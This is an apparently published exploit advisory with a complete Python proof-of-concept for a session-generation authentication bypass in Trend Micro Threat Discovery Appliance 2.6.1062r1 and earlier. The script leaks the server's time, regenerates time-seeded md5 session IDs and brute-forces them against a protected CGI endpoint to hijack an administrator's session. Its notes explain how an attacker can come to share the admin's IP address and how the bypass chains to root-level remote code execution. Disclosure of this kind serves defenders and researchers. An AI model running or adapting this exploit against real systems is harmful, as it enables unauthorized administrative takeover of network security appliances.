Trend Micro Threat Discovery Appliance versions 2.6.1062r1 and below suffer from a session generation authentication bypass vulnerability.
f3d0c6f0cf0554ddc299fbc8d195e141b856a55387d41d3608fe3e2b833dc7a6
#!/usr/bin/python
"""
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 Session Generation Authentication Bypass Vulnerability
Found by: Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/ & Steven Seeley of Source Incite
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1
Summary:
========
There exists an authentication bypass vulnerability in the way the Trend Micro Threat Discovery Appliance generates sessions.
The mechanism generates a session based on md5(srand(time())) which is obviously not random enough.
This means an attacker can keep generating the same sessions each second and attempt a protected request, when an admin logs
in, the code will detect a valid session.
Exploitation:
=============
What we do is:
1. We leak the servers date header
2. Generate a timestamp using the epoch
3. Go back by 5 minutes
4. Generate session values for each second and attempt a request
5. Fail? GOTO 4 and repeat.
This will catch any last 5 minute logins as well as any future logins using the current ip address of the attacker.
Once a valid session is caught, automatic exploitation of 1/10 other RCE's discovered will give us root, unauthenticated.
Notes:
======
- The vulnerable code is in mini_httpd/utils.so, please see bug.png for a screenshot of the assembly
- This poc code needs to run on a linux box due to the loading of libc (required since the target is linux)
- This attack will only work if the attacker and the admin have the same IP address. This can occur in several situations:
1. Some sort of proxy for both the attacker and the admin
2. NAT'ed network whereby the admin and attacker share the same IP
3. A typically LAN whereby an admin logins and then disconnects and then an attacker gets the same IP assigned
4. A typical WiFi network whereby an attacker can de-auth his/her victim
5. etc
Example:
========
root@kali:~# ./poc.py
(+) usage: ./poc.py <target>
(+) example: ./poc.py 172.16.175.123
root@kali:~# ./poc.py 172.16.175.123
(+) leaking timestamp...
(+) re-winding sessions by 5 minutes...
(+) started session guessing...
(+) identified session: cbdcec1d35552662df5ab36decf34326
(+) attacker can now log with this session!
"""
import sys
import time
import ctypes
import requests
import hashlib
import calendar
import email.utils as eut
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# fix the warnings...
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
i = 0
def get_timestamp(date):
"""
this function just parses the date http response header string to
generate a time tuple and then a timestamp from the epoch of 1970
"""
return calendar.timegm(eut.parsedate(date))
def leak_server_time():
"""
this function leaks the initial date...
"""
r = requests.get("https://%s/" % target, verify=False)
return r.headers['date']
def check_session(sessid):
"""
here we just valid the generated session
"""
r = requests.get('https://'+target+'/cgi-bin/firmware_updated.cgi', verify=False, cookies={"session_id": sessid })
if "updated" in r.text:
return True
else:
return False
def attack(timestamp):
"""
We take the leaked timestamp and generate a session
by seeding libc's rand() and then md5 the resultant
"""
global i
i += 1
# add an extra second
timestamp += i
# seeding rand()
libc.srand(timestamp)
# md5 the session
m = hashlib.md5()
# so called, rand...
m.update(str(libc.rand()))
# our session
return m.hexdigest()
def main():
"""
The start of the pain train
"""
global target, libc
# the foo sauce
libc = ctypes.CDLL('libc.so.6')
if len(sys.argv) != 2:
print "(+) usage: %s <target>" % sys.argv[0]
print "(+) example: %s 172.16.175.123" % sys.argv[0]
sys.exit(-1)
target = sys.argv[1]
print "(+) leaking timestamp..."
ts = get_timestamp(leak_server_time())
print "(+) re-winding sessions by 5 minutes..."
# last 5 minutes, since a session last 6 minutes...
ts = ts - (5*60)
print "(+) started session guessing..."
while True:
attempt = attack(ts)
c = check_session(attempt)
if c == True:
# do your evil things here, like get rce as root!
print "(+) identified session: %s " % attempt
print "(+) attacker can now log with this session!"
break
if __name__ == '__main__':
main()